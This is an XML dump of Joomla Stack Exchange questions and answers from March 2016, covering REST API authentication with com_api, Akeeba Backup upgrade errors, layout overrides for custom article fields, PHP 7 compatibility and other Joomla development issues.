  <row Id="15827" PostTypeId="1" CreationDate="2016-03-24T06:40:27.997" Score="6" ViewCount="3590" Body="&lt;p&gt;I have installed the com_api component and plugin from the &lt;a href=&quot;https://techjoomla.com/index.php?option=com_ars&amp;amp;view=Items&amp;amp;release_id=325&quot; rel=&quot;noreferrer&quot;&gt;official site&lt;/a&gt; for REST calls. I should authenticate user login with a web service at another domain using REST POST. How should I do it? I have the login form and how should I make POST request after submitting the form. There is no proper documentation and no tutorials even. Please help.&lt;/p&gt;&#xA;" OwnerUserId="8087" LastActivityDate="2016-03-24T12:08:15.347" Title="How to use com_api plugin for REST?" Tags="|joomla-3.x|component|restful-api|com-plugins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15828" PostTypeId="2" ParentId="15824" CreationDate="2016-03-24T09:09:18.630" Score="3" Body="&lt;p&gt;Nicholas (Akeeba developer) already told us what to do in such a case:&lt;br&gt;&#xA;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1HJj02l3ByBvJF-Q67XXuGmrFvS8iIBEnDEcVcmwqzLc/edit#gid=0&quot; rel=&quot;nofollow&quot;&gt;I get a blank page or Internal 500 error accessing Akeeba Backup or trying to backup&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If you are receiving a blank page or a fatal error when trying to access Akeeba Backup and/or receive an AJAX error during backup right after upgrading to Akeeba Backup 3.5.x, please note that this is the result of a partial upgrade. There is a known bug in the Joomla! extensions installer (which is also used by our Live Update to perform the actual update). When upgrading to a version which has a different count of top-level directories, Joomla!'s extension installer &quot;forgets&quot; to copy all files and folders or remove the old ones. This usually happens when upgrading from Core to Professional and when upgrading between minor releases, e.g. 3.4 to 3.5.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quite logical: DO NOT UNINSTALL OR DOWNGRADE Akeeba Backup!&lt;br&gt;&#xA;Instead, UPGRADE IT: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The solution is usually very simple. First DO NOT UNINSTALL Akeeba Backup and DO NOT DOWNGRADE to an earlier release. The former will remove your backups and settings. The latter will cause Akeeba Backup to fail. Instead, go to our Downloads page and download the latest installation package of Akeeba Backup. Go to your site's back-end. Go to Extensions, Manage Plugins and make sure that the &quot;System - System Restore Points&quot;(*) plugin is either not installed or, if installed, is not published. Then go to Extensions, Manage Extensions and use the Browse button to locate the installation package you downloaded. Then click on &quot;Upload and Install&quot;. You may have to repeat the installation a second time.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-08-10T07:29:47.393" LastActivityDate="2016-08-10T07:29:47.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15829" PostTypeId="2" ParentId="15699" CreationDate="2016-03-24T09:18:33.477" Score="2" Body="&lt;p&gt;This is NOT an answer to my question, I just wanted to share a link which I just found and which might be helpful in upgrading our Joomlas to 3.5:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a Google Doc &quot;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1HJj02l3ByBvJF-Q67XXuGmrFvS8iIBEnDEcVcmwqzLc/edit#gid=0&quot; rel=&quot;nofollow&quot;&gt;List of Joomla! Extensions Supporting Joomla! 3.5 and PHP 7&lt;/a&gt;&quot;, which is publicly available and maintained by community (we are talking about Joomla, after all :-) ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I know I should have put it as comment and not as answer, but I think its more visible this way.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-24T09:24:40.290" LastActivityDate="2016-03-24T09:24:40.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15830" PostTypeId="1" AcceptedAnswerId="16137" CreationDate="2016-03-24T09:57:18.600" Score="0" ViewCount="983" Body="&lt;p&gt;I have a json encoded string which contains a couple of users:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$users = json_encode($helper-&amp;gt;getAllUsers());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a textarea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea id=&quot;jj_message&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and am using the jQuery autocomplete plugin that comes shipped with Joomla:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', 'media/jui/js/jquery.autocomplete.min.js');&#xA;&#xA;$script = &quot;&#xA;    jQuery(document).ready(function($) {&#xA;&#xA;        var users = &quot; . $users . &quot;;&#xA;&#xA;        $('#jj_message').autocomplete({&#xA;            lookup: users,&#xA;            lookupLimit: 5,&#xA;            delimiter: ' '&#xA;        });&#xA;    });&#xA;&quot;;&#xA;&#xA;$doc-&amp;gt;addScriptDeclaration($script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in my textarea, if I start typing in a name, for example &lt;code&gt;Lod&lt;/code&gt;, then the jQuery autocomplete will provide &lt;code&gt;Lodder&lt;/code&gt; as the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what I'd like to do is initiate the autocomplete when a user types in a name with the &lt;code&gt;@&lt;/code&gt; symnbol at the beginning, for example, &lt;code&gt;@Lod&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently when I do this, no results are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have anyone ever achieved this with Joomla's built in autocomplete plugin?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-13T13:42:01.807" Title="jQuery autocomplete @mention" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15831" PostTypeId="2" ParentId="15827" CreationDate="2016-03-24T10:30:07.843" Score="6" Body="&lt;p&gt;In the context of a REST Api, each call is stateless. So, there is no &quot;user login&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a Joomla site, when a user is authenticated, the browser receives a cookie to authorize the navigation and access to restricted areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, in a REST Api, you have to implement an authorization protocol, like OAuth, to generate access tokens. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;strong&gt;TechJoomla's com_api&lt;/strong&gt;, you call the authentication request with user and password (there's also an option for a global key), check &lt;a href=&quot;https://github.com/techjoomla/com_api/blob/master/code/site/libraries/authentication/login.php&quot;&gt;ApiAuthenticationLogin&lt;/a&gt; and &lt;a href=&quot;https://github.com/techjoomla/com_api/blob/master/code/site/libraries/authentication.php&quot;&gt;ApiAuthentication&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$key = $app-&amp;gt;input-&amp;gt;get('key','','STRING');&#xA;&#xA;if(empty($key))&#xA;{&#xA;    $key = $app-&amp;gt;input-&amp;gt;post-&amp;gt;get('key','','STRING');&#xA;}&#xA;if(empty($key))&#xA;{&#xA;    $this-&amp;gt;set('auth_method',$params-&amp;gt;get('auth_method','username'));&#xA;    $this-&amp;gt;set('auth_method',$params-&amp;gt;get('auth_method','password'));&#xA;    $this-&amp;gt;set('auth_method', $params-&amp;gt;get('auth_method', 'login'));&#xA;}&#xA;else&#xA;{&#xA;    $this-&amp;gt;set('auth_method', $params-&amp;gt;get('auth_method', 'key'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the upcoming Joomla 3.6, a new Joomla official REST API will be included and it's currently being developed, more info here &lt;a href=&quot;https://groups.google.com/forum/#!topic/joomla-dev-cms/CvxsJWqVeZQ&quot;&gt;Preparing for webservices API in 3.6&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Github repo: &lt;a href=&quot;https://github.com/joomla-projects/webservices&quot;&gt;Joomla Webservices&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, authentication is temporarily based on &lt;a href=&quot;https://github.com/joomla-projects/webservices/blob/develop/plugins/authentication/redcore_oauth2/redcore_oauth2.php&quot;&gt;Redcore_Oauth2&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;About &lt;a href=&quot;http://redcomponent-com.github.io/redCORE/?chapters/webservices/overview.md&quot;&gt;Webservices in redCORE&lt;/a&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Webservices in redCORE provide a RESTfull (Representational state transfer) interface for your site using HAL as a easy way to hyperlink between resources. Generating mapping XML file which will expose your webservice is very easy and you can read about them in following chapters.&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;We highly recommend using OAuth2 Server together with webservice API since it already brings token manipulation and ease of access to the data. redCORE already provide OAuth2 Server functionality and you can read more information &lt;a href=&quot;http://redcomponent-com.github.io/redCORE/chapters/oauth2/overview.md&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Finally, I am the leading developer of &lt;strong&gt;JoomGap&lt;/strong&gt; SDK for Joomla mobile apps. You can find a technical description of how it works an OAuth protocol implementation here, &lt;a href=&quot;http://www.joomgap.com/docs/technical-guide/js-secure-desc&quot;&gt;JoomGap Secure Channel - Technical Description&lt;/a&gt; and this is a specific example of how it works &lt;a href=&quot;http://www.extly.com/docs/autotweetng_joocial/installation/mobile-app&quot;&gt;Composer App - How to enable the mobile App access&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2016-03-24T12:08:15.347" LastActivityDate="2016-03-24T12:08:15.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15832" PostTypeId="1" AcceptedAnswerId="15835" CreationDate="2016-03-24T13:34:59.327" Score="3" ViewCount="789" Body="&lt;p&gt;I have added a custom field in article creation page but it gets displayed in-between the option tab but I need the field to be displayed between Title and alias field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code which I did refering  &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_the_article_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_the_article_component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rating.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//$xml = simplexml_load_file(&quot;multiurlredirect.xml&quot;);&#xA;&#xA;// no direct access&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;jimport( 'joomla.plugin.plugin' );&#xA;jimport( 'joomla.form.form' );&#xA;&#xA;&#xA;class plgsystemrating extends JPlugin&#xA;{&#xA;&#xA;   public function __construct(&amp;amp; $subject, $config)&#xA;   {&#xA;      parent::__construct($subject, $config);&#xA;&#xA;   }&#xA;&#xA;   public function onContentPrepareForm($form, $data)&#xA;   { &#xA;&#xA;      if (!($form instanceof JForm))&#xA;      {&#xA;         $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;         return false;&#xA;      }&#xA;&#xA;      JFormHelper::addFormPath(dirname(__FILE__) . '/rating');&#xA;&#xA;      $form-&amp;gt;loadFile('rating', true);&#xA;&#xA;      return true; &#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;rating.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;config&amp;gt;&#xA;     &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;primaryfieldset&quot;&amp;gt;&#xA;           &amp;lt;field&#xA;              name=&quot;ratingclass_sfx&quot;&#xA;              type=&quot;text&quot;&#xA;              label=&quot;Rating Class&quot;&#xA;              description=&quot;Optional CSS class to add to the rating. This allows CSS styling specific to the page.&quot;&#xA;           /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;     &amp;lt;/fields&amp;gt;&#xA;  &amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;rating/rating.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;fields name=&quot;attribs&quot;&amp;gt;&#xA;     &amp;lt;fieldset name=&quot;primaryfieldset&quot; label=&quot;Rating Options&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;           name=&quot;texture&quot;&#xA;           type=&quot;text&quot;&#xA;           id=&quot;texture&quot;&#xA;           description=&quot;What does the sample feel like&quot;&#xA;           label=&quot;Texture&quot;&#xA;           message=&quot;PLG_CONTENT_RATING_FIELD_TEXTURE_MESSAGE&quot;&#xA;           size=&quot;30&quot;&#xA;        /&amp;gt;&#xA;     &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my Output&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fTNPt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fTNPt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the Rating option to be displayed in between the title and alias field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please any one explain me how to do this&lt;/p&gt;&#xA;" OwnerUserId="8090" LastEditorUserId="168" LastEditDate="2016-03-24T16:31:12.337" LastActivityDate="2016-03-25T05:00:20.297" Title="Adding custom field in article creation page" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15833" PostTypeId="2" ParentId="15784" CreationDate="2016-03-24T15:33:57.727" Score="0" Body="&lt;p&gt;The problem is caused by the cookie domain and cookie path, erase the content so that it looks like this: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;public $cookie_domain = '';&lt;br&gt;&#xA;   public $cookie_path = '';&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8091" LastEditorUserId="115" LastEditDate="2016-03-25T00:15:32.067" LastActivityDate="2016-03-25T00:15:32.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15834" PostTypeId="2" ParentId="15819" CreationDate="2016-03-24T15:56:40.790" Score="0" Body="&lt;p&gt;Simply when You create/edit a module on joomla, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extension&gt;Modules&gt;New/Edit&lt;/strong&gt;&#xA;There is a &lt;strong&gt;Menu Assignment&lt;/strong&gt; section. &lt;a href=&quot;https://docs.joomla.org/How_do_you_assign_a_module_to_specific_pages%3F&quot; rel=&quot;nofollow&quot;&gt;More info Here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There You can Choose on which menu item You want to show/hide Your module.&#xA;Go to each of Your module You don't want to display and uncheak the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And If you want to change style of Your web page, you can create a new template and add a template to Your menu item: &lt;strong&gt;Menu &gt; Edit/New &gt; Template Style&lt;/strong&gt; choose Your template&lt;/p&gt;&#xA;" OwnerUserId="8076" LastEditorUserId="8076" LastEditDate="2016-03-24T16:07:44.903" LastActivityDate="2016-03-24T16:07:44.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15835" PostTypeId="2" ParentId="15832" CreationDate="2016-03-24T17:23:50.830" Score="2" Body="&lt;p&gt;If you look at the template file at administrator/components/com_content/views/article/tmpl/edit.php on line 78 you'll see the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which contains the following code to render the title and alias for the article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('JPATH_BASE') or die;&#xA;&#xA;$form = $displayData-&amp;gt;getForm();&#xA;&#xA;$title = $form-&amp;gt;getField('title') ? 'title' : ($form-&amp;gt;getField('name') ? 'name' : '');&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;form-inline form-inline-header&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    echo $title ? $form-&amp;gt;renderField($title) : '';&#xA;    echo $form-&amp;gt;renderField('alias');&#xA;    ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you want is to perform a layout override on the title_alias.php by copying the file into {your_template}/html/layouts/joomla/edit/ folder.  Once copied, edit the file by adding your custom field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('JPATH_BASE') or die;&#xA;&#xA;$form = $displayData-&amp;gt;getForm();&#xA;&#xA;$title = $form-&amp;gt;getField('title') ? 'title' : ($form-&amp;gt;getField('name') ? 'name' : '');&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;form-inline form-inline-header&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    echo $title ? $form-&amp;gt;renderField($title) : '';&#xA;    echo $form-&amp;gt;renderField('my_custom_field');  &amp;lt;--- NEW LINE&#xA;    echo $form-&amp;gt;renderField('alias');&#xA;    ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should place the field where you need it.  One thing you will have to do is alter your XML file so that it isn't automatically rendered as a tab.  You should be able to do this by embedding the  directly to the  instead of inside a  and .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;Joomla Output Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;Joomla Layout Overrides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-03-24T17:23:50.830" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15836" PostTypeId="2" ParentId="15819" CreationDate="2016-03-24T17:29:52.020" Score="0" Body="&lt;p&gt;My guess is for each of the modules showing, in their respective &lt;em&gt;Menu Assignment&lt;/em&gt; tabs, you have &lt;em&gt;On All Pages&lt;/em&gt; select.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each one, change to &lt;em&gt;Only on pages select&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then click both the &lt;em&gt;none&lt;/em&gt; links in the newly displayed HTML to ensure the modules are not assigned to display anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now click the home page menu endpoint.  Repeat this for each of the modules displaying.  Once complete, when you navigate from the homepage using the Category links, the modules should be gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-03-24T17:29:52.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15837" PostTypeId="2" ParentId="4082" CreationDate="2016-03-24T21:56:22.460" Score="0" Body="&lt;p&gt;Most probably multiple jquery is the reason or wrong declaration of javascript files. You can try this at the top of template page in between head tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    // load jQuery, if not loaded before &#xA;&#xA;    if(!JFactory::getApplication()-&amp;gt;get('jquery')){&#xA;    JFactory::getApplication()-&amp;gt;set('jquery',true);&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;addScript(JUri::root() . &quot;templates/template-name/js/jquery.js&quot;);&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It may helps you. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5551" LastActivityDate="2016-03-24T21:56:22.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15839" PostTypeId="1" CreationDate="2016-03-25T06:06:18.277" Score="0" ViewCount="1446" Body="&lt;p&gt;I have an animated gif that I was looking at putting into a Joomla Module.  It is an icon that as you hover over it the icon changes.  Built in Fireworks, when I pull it up on an html page it works just fine, however I am having all kinds of problems bringing it into Joomla.  Does anyone have any suggestions on how they do this? Am I tackling this the wrong way?  The items have to be customized so I'm not trying to use some extension or other, I just want to be able to put this in a Custom HTML module. I have the Adobe Creative Cloud for editing, and JCE for Joomla. (with all plugins).  I don't want to use iFrame as this is an entirely responsive site using Themler. &lt;/p&gt;&#xA;" OwnerUserId="3702" LastActivityDate="2016-03-25T22:20:14.357" Title="Animated Gif in Joomla" Tags="|module-display|editor|media-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15840" PostTypeId="1" CreationDate="2016-03-25T09:53:10.650" Score="4" ViewCount="8894" Body="&lt;p&gt;I have a ton of sites on my server and they range from Joomla 1.5 to 3.5&#xA;but now I've been asked to upgrade to PHP 7 compliance for my Joomla 3.5 extension that I sell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the 1.5 site work on this version of PHP?&lt;/p&gt;&#xA;" OwnerUserId="8093" LastEditorUserId="159" LastEditDate="2016-03-25T13:32:16.557" LastActivityDate="2017-03-08T02:43:02.580" Title="Does Joomla 1.5 work on PHP7?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15841" PostTypeId="2" ParentId="15840" CreationDate="2016-03-25T09:57:10.267" Score="4" Body="&lt;p&gt;You can find previous answer here on JSE:&lt;br&gt;&#xA; &lt;a href=&quot;https://joomla.stackexchange.com/questions/786/what-is-the-maximum-version-of-php-that-joomla-1-5-will-run?rq=1&quot;&gt;What is the maximum version of PHP that Joomla 1.5 will run?&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also official &lt;a href=&quot;https://www.joomla.org/about-joomla/technical-requirements.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Technical Requirements&lt;/a&gt; which lists Recommended minimum PHP 5.3.10, but not max version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on my own experience, Joomla 1.5 will work on MAX PHP 5.3.29. Depending on extensions used, I was able to run it on even PHP 5.4, but I still prefer to think of PHP 5.3 as Max Version for stable runs of this old version of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am afraid IT WILL NOT WORK on PHP7.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-03-25T11:44:41.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15842" PostTypeId="2" ParentId="15840" CreationDate="2016-03-25T12:17:29.383" Score="4" Body="&lt;p&gt;PHP 5.6 is as far as you can go with Joomla 1.5 (depending on the extensions you are using) and you have to &lt;a href=&quot;https://stackoverflow.com/a/9984309&quot;&gt;suppress strict standard warning messages&lt;/a&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your hosting environment, you may be able to configure different PHP versions for each of your Joomla installs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fairly easy to do via the PHP selector tool in cPanel on SiteGround shared hosting accounts, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On other hosts, this can sometimes be achieved via &lt;a href=&quot;https://joomla.stackexchange.com/a/14918/120&quot;&gt;a directive in the .htaccess file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-03-08T02:43:02.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15843" PostTypeId="2" ParentId="15784" CreationDate="2016-03-25T13:47:13.083" Score="2" Body="&lt;p&gt;Turn off the System - Page Cache&#xA;The issue is related to the cache.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2016-03-25T13:47:13.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15844" PostTypeId="2" ParentId="15500" CreationDate="2016-03-25T14:21:11.523" Score="1" Body="&lt;p&gt;Mikan, as you already stated in your answer, this extension only supports Magento 1.9.2 and they aren't planning to include support for Magento 2.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After lots of research I found alternative plugin called &quot;&lt;a href=&quot;http://goo.gl/Bs3Fmf&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;VirtueMart to Magento&lt;/strong&gt;&lt;/a&gt;&quot; for migration of VirtueMart 1.x, 2.x to Magento 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In comparison to Cart2Cart is a bit expensive, specialy for bigger shops because it's limited by number of entities, but as much as I tested it, it migrates all the needed fields (customers, reviews, categories, orders, products).&lt;/p&gt;&#xA;" OwnerUserId="7923" LastActivityDate="2016-03-25T14:21:11.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15845" PostTypeId="2" ParentId="15758" CreationDate="2016-03-25T15:51:45.743" Score="1" Body="&lt;p&gt;From the testing I have done it looks like page caching does not distinguish between elements in a layout. For example: a search form on a page that uses session variables to populate the fields once a search has taken place. The search itself does not return new values when the form is submitted, neither does the model. I can see where caching static content would work as expected, but for dynamic filterable content I do not believe caching will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe a future version of Joomla will allow specific methods / functions to be skipped in caching, but for now I do not see another way around this.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-25T15:51:45.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15846" PostTypeId="1" AcceptedAnswerId="15851" CreationDate="2016-03-25T18:23:13.490" Score="2" ViewCount="392" Body="&lt;p&gt;I'm writing a plugin, and the auto-email cloaking functionality is breaking my output. For example: I'll write some output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$var={ &quot;content&quot; : &quot;text with embedded@address.domain&quot;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The address cloaker is treating $var as HTML content and just making a mess out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that I can disable that by putting {emailcloak=off} in the article. The issue is that I'm writing a commercial plugin. I don't want to depend upon end-users to remember to do that anywhere they use my shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that I can turn Email cloaking off from inside my plugin for just my content? &lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-03-26T00:01:49.277" Title="{emailcloak=off} any way to do this programmatically?" Tags="|joomla-3.x|development|joomla-api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15847" PostTypeId="1" CreationDate="2016-03-25T18:55:57.467" Score="0" ViewCount="104" Body="&lt;p&gt;I would like to get the ID of an item that I recently saved using store-method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Joomla 3.4.48 I was able to use this source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['userid'] = $userid;&#xA;$data['title'] = $title;                &#xA;$data['content'] = $content;&#xA;&#xA;$data['state'] = $state;&#xA;&#xA;// Lets store it!    &#xA;$row = JTable::getInstance('Message','BestiaTable');&#xA;$row-&amp;gt;bind($data);&#xA;$row-&amp;gt;check();&#xA;$store = $row-&amp;gt;store(); &#xA;&#xA;if($store)                        return $row-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now $row-&gt;id is always &lt;code&gt;NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change that?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2016-03-26T11:51:36.937" Title="After upgrade to 3.5: return $row-&gt;id (last saved item) does not work" Tags="|development|custom-component|jtable|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
